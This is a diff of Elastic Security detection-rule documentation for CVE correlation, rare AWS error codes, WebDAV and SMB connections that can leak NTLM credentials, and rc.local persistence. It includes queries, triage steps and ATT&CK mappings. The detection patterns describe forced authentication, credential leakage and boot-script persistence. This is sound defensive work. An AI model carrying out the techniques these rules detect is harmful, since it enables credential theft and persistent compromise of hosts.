+[[prebuilt-rule-8-19-34-rapid7-threat-command-cves-correlation]] +=== Rapid7 Threat Command CVEs Correlation + +This rule is triggered when CVEs collected from the Rapid7 Threat Command Integration have a match against vulnerabilities that were found in the customer environment. + +*Rule type*: threat_match + +*Rule indices*: + +* auditbeat-* +* endgame-* +* filebeat-* +* logs-* +* packetbeat-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-35m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html +* https://docs.elastic.co/integrations/ti_rapid7_threat_command + +*Tags*: + +* Data Source: Rapid7 Threat Command +* Data Source: Elastic Endgame +* Rule Type: Threat Match +* Resources: Investigation Guide +* Use Case: Vulnerability +* Use Case: Asset Visibility +* Use Case: Continuous Monitoring + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Rapid7 Threat Command CVEs Correlation* + + +Rapid7 Threat Command CVEs Correlation rule allows matching CVEs from user indices within the vulnerabilities collected from Rapid7 Threat Command integrations. + +The matches will be based on the latest values of CVEs from the last 180 days. So it's essential to validate the data and review the results by investigating the associated activity to determine if it requires further investigation. + +If a vulnerability matches a local observation, the following enriched fields will be generated to identify the vulnerability, field, and type matched. + +- `threat.indicator.matched.atomic` - this identifies the atomic vulnerability that matched the local observation +- `threat.indicator.matched.field` - this identifies the vulnerability field that matched the local observation +- `threat.indicator.matched.type` - this identifies the vulnerability type that matched the local observation + +Additional investigation can be done by reviewing the source of the activity and considering the history of the vulnerability that was matched. This can help understand if the activity is related to legitimate behavior. + +- Investigation can be validated and reviewed based on the data that was matched and by viewing the source of that activity. +- Consider the history of the vulnerability that was matched. Has it happened before? Is it happening on multiple machines? These kinds of questions can help understand if the activity is related to legitimate behavior. +- Consider the user and their role within the company: is this something related to their job or work function? + + +==== Setup + + + +*Setup* + + +This rule needs threat intelligence indicators to work. +Threat intelligence indicators can be collected using an https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#agent-ti-integration[Elastic Agent integration], +the https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#ti-mod-integration[Threat Intel module], +or a https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#custom-ti-integration[custom integration]. + +More information can be found https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html[here]. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +vulnerability.id : * + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-aws-error-code.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-aws-error-code.asciidoc new file mode 100644 index 0000000000..5f96980080 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-aws-error-code.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-rare-aws-error-code]] +=== Rare AWS Error Code + +A machine learning job detected an unusual error in a CloudTrail message. These can be byproducts of attempted or successful persistence, privilege escalation, defense evasion, discovery, lateral movement, or collection. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide +* Platform: AWS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Rare AWS Error Code* + + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations occur. + +This rule uses a machine learning job to detect an unusual error in a CloudTrail message. This can be byproducts of attempted or successful persistence, privilege escalation, defense evasion, discovery, lateral movement, or collection. + +Detection alerts from this rule indicate a rare and unusual error code that was associated with the response to an AWS API command or method call. + + +*Possible investigation steps* + + +- Examine the history of the error. If the error only manifested recently, it might be related to recent changes in an automation module or script. You can find the error in the `aws.cloudtrail.error_code field` field. +- Investigate other alerts associated with the user account during the past 48 hours. +- Validate the activity is not related to planned patches, updates, or network administrator activity. +- Examine the request parameters. These may indicate the source of the program or the nature of the task being performed when the error occurred. + - Check whether the error is related to unsuccessful attempts to enumerate or access objects, data, or secrets. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Contact the account owner and confirm whether they are aware of this activity if suspicious. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- Examine the history of the command. If the command only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. You can find the command in the `event.action field` field. +- The adoption of new services or the addition of new functionality to scripts may generate false positives. + + +*Related Rules* + + +- Unusual City For an AWS Command - 809b70d3-e2c3-455e-af1b-2626a5a1a276 +- Unusual Country For an AWS Command - dca28dee-c999-400f-b640-50a081cc0fd1 +- Unusual AWS Command for a User - ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1 +- Spike in AWS Error Messages - 78d3d8d9-b476-451d-a9e0-7a5addd70670 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from AWS. + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*AWS Integration Setup* + +The AWS integration allows you to collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "aws" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “AWS” and select the integration to see more details about it. +- Click “Add AWS”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “aws” to an existing or a new agent policy, and deploy the agent on your system from which aws log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://www.elastic.co/docs/current/integrations/aws[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-connection-to-webdav-target.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-connection-to-webdav-target.asciidoc new file mode 100644 index 0000000000..a0b50eafc9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-connection-to-webdav-target.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-rare-connection-to-webdav-target]] +=== Rare Connection to WebDAV Target + +Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: WebDAV Abuse +* Rule Type: ES|QL +* Platform: Windows +* Data Source: Sysmon + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Rare Connection to WebDAV Target* + + + +*Possible investigation steps* + + +- Examine the reputation of the destination domain or IP address. +- Verify if the target user opened any attachments or clicked links pointing to the same target within seconds from the alert timestamp. +- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack. + + +*False positive analysis* + + +- User accessing legit WebDAV resources. + + +*Response and remediation* + + +- Conduct a password reset for the target account that may have been compromised or are at risk, ensuring the use of strong, unique passwords. +- Verify whether other users were targeted but did not open the lure.. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence, ensuring lessons learned are applied to improve overall security posture. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, logs-system.security-*, logs-windows.*, winlogbeat-*, logs-crowdstrike.fdr*, logs-m365_defender.event-* METADATA _id, _version, _index +| where + event.category == "process" and + event.type == "start" and + process.name == "rundll32.exe" and + process.command_line like "*DavSetCookie*" +| keep host.id, process.command_line, user.name, user.id +// extract the host from the WebDAV URL authority, excluding optional credentials and port +| grok process.command_line """(?i:https?)://(?:[^/@\s]+@)?(?[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*)""" +| eval Esql.server_webdav_server = TO_LOWER(Esql.server_webdav_server) +| where + Esql.server_webdav_server is not null and + not Esql.server_webdav_server in ("www.google.com", "www.elastic.co", "google.com", "github.com", "www.github.com", "sharepoint.com", "live.net") and + not Esql.server_webdav_server like ("*.live.net", "*.sharepoint.com") and + // excludes private IP ranges + not Esql.server_webdav_server rlike """(10\.(\d{1,3}\.){2}\d{1,3}|172\.(1[6-9]|2\d|3[0-1])\.(\d{1,3}\.)\d{1,3}|192\.168\.(\d{1,3}\.)\d{1,3})""" +| stats + Esql.event_count = count(*), + Esql.host_id_count_distinct = count_distinct(host.id), + Esql.host_id_values = values(host.id), + Esql.user_name_values = values(user.name) + by Esql.server_webdav_server +| where + Esql.host_id_count_distinct == 1 and Esql.event_count <= 3 +| eval host.id = MV_MIN(Esql.host_id_values), user.name = MV_MIN(Esql.user_name_values), destination.domain = MV_MIN(Esql.server_webdav_server) +| KEEP host.id, user.name, destination.domain, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-smb-connection-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-smb-connection-to-the-internet.asciidoc new file mode 100644 index 0000000000..0a8be85742 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rare-smb-connection-to-the-internet.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-rare-smb-connection-to-the-internet]] +=== Rare SMB Connection to the Internet + +This rule detects rare internet network connections via the SMB protocol. SMB is commonly used to leak NTLM credentials via rogue UNC path injection. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Rare SMB Connection to the Internet* + + +Server Message Block (SMB) is a protocol used for sharing files and printers within a network. Adversaries exploit SMB to exfiltrate data by injecting rogue paths to capture NTLM credentials. The detection rule identifies unusual SMB traffic from internal IPs to external networks, flagging potential exfiltration attempts by monitoring specific ports and excluding known safe IP ranges. + + +*Possible investigation steps* + + +- Review the alert details to identify the internal source IP address involved in the SMB connection and verify if it belongs to a known or authorized device within the organization. +- Check the destination IP address to determine if it is associated with any known malicious activity or if it belongs to an external network that should not be receiving SMB traffic from internal systems. +- Investigate the process with PID 4 on the source host, which typically corresponds to the Windows System process, to identify any unusual activity or recent changes that could indicate compromise or misuse. +- Analyze network logs to trace the SMB traffic flow and identify any patterns or additional connections that may suggest data exfiltration attempts. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context and determine if this is part of a larger attack campaign. +- Consult with the IT or network team to verify if there are any legitimate business reasons for the detected SMB traffic to the external network, and if not, consider blocking the connection and conducting a deeper investigation into the source host. + + +*False positive analysis* + + +- Internal network scanning tools may trigger alerts if they simulate SMB traffic to external IPs. Exclude IPs associated with these tools from the rule to prevent false positives. +- Legitimate business applications that require SMB connections to external cloud services might be flagged. Identify and whitelist these specific external IPs or domains to avoid unnecessary alerts. +- Backup solutions that use SMB for data transfer to offsite locations can be mistaken for exfiltration attempts. Ensure these backup service IPs are added to the exception list. +- Misconfigured network devices that inadvertently route SMB traffic externally could cause false alerts. Regularly audit and correct device configurations to minimize these occurrences. +- Security testing or penetration testing activities might generate SMB traffic to external IPs. Coordinate with security teams to temporarily disable the rule or add exceptions during testing periods. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further data exfiltration or lateral movement. +- Conduct a thorough review of the host's network connections and processes to identify any unauthorized SMB traffic or suspicious activities. +- Reset credentials for any accounts that may have been exposed or compromised, focusing on those with elevated privileges. +- Apply patches and updates to the affected system and any other vulnerable systems to mitigate known SMB vulnerabilities. +- Implement network segmentation to limit SMB traffic to only necessary internal communications, reducing the risk of external exposure. +- Enhance monitoring and logging for SMB traffic, particularly for connections to external IPs, to detect and respond to future anomalies more effectively. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:network and host.os.type:windows and process.pid:4 and + network.transport:tcp and destination.port:(139 or 445) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rc-local-rc-common-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rc-local-rc-common-file-creation.asciidoc new file mode 100644 index 0000000000..0a164731f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rc-local-rc-common-file-creation.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-rc-local-rc-common-file-creation]] +=== rc.local/rc.common File Creation + +This rule monitors the creation of the rc.local/rc.common files. The "/etc/rc.local" file is used to start custom applications, services, scripts or commands during start-up. The rc.local file has mostly been replaced by Systemd. However, through the "systemd-rc-local-generator", rc.local files can be converted to services that run at boot. Adversaries may alter rc.local/rc.common to execute malicious code at start-up, and gain persistence onto the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating rc.local/rc.common File Creation* + + +The `rc.local` file executes custom commands or scripts during system startup on Linux systems. `rc.local` has been deprecated in favor of the use of `systemd services`, and more recent Unix distributions no longer leverage this method of on-boot script execution. + +There might still be users that use `rc.local` in a benign matter, so investigation to see whether the file is malicious is vital. + +Detection alerts from this rule indicate the creation of a new `/etc/rc.local` file. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate whether the `/lib/systemd/system/rc-local.service` and `/run/systemd/generator/multi-user.target.wants/rc-local.service` files were created through the `systemd-rc-local-generator` located at `/usr/lib/systemd/system-generators/systemd-rc-local-generator`. + - !{osquery{"label":"Osquery - Retrieve rc-local.service File Information","query":"SELECT * FROM file WHERE (path = '/run/systemd/generator/multi-user.target.wants/rc-local.service' OR path =\n'/run/systemd/generator/multi-user.target.wants/rc-local.service')\n"}} + - In case the file is not present here, `sudo systemctl status rc-local` can be executed to find the location of the rc-local unit file. + - If `rc-local.service` is found, manual investigation is required to check for the rc script execution. Systemd will generate syslogs in case of the execution of the rc-local service. `sudo cat /var/log/syslog | grep "rc-local.service|/etc/rc.local Compatibility"` can be executed to check for the execution of the service. + - If logs are found, it's likely that the contents of the `rc.local` file have been executed. Analyze the logs. In case several syslog log files are available, use a wildcard to search through all of the available logs. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate whether this activity is related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses `rc.local` for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the `service/rc.local` files or restore their original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +file.path in ("/etc/rc.local", "/etc/rc.common") and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + process.executable == null or + process.name in ("ssm-agent-worker", "convert2rhel", "platform-python*") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference 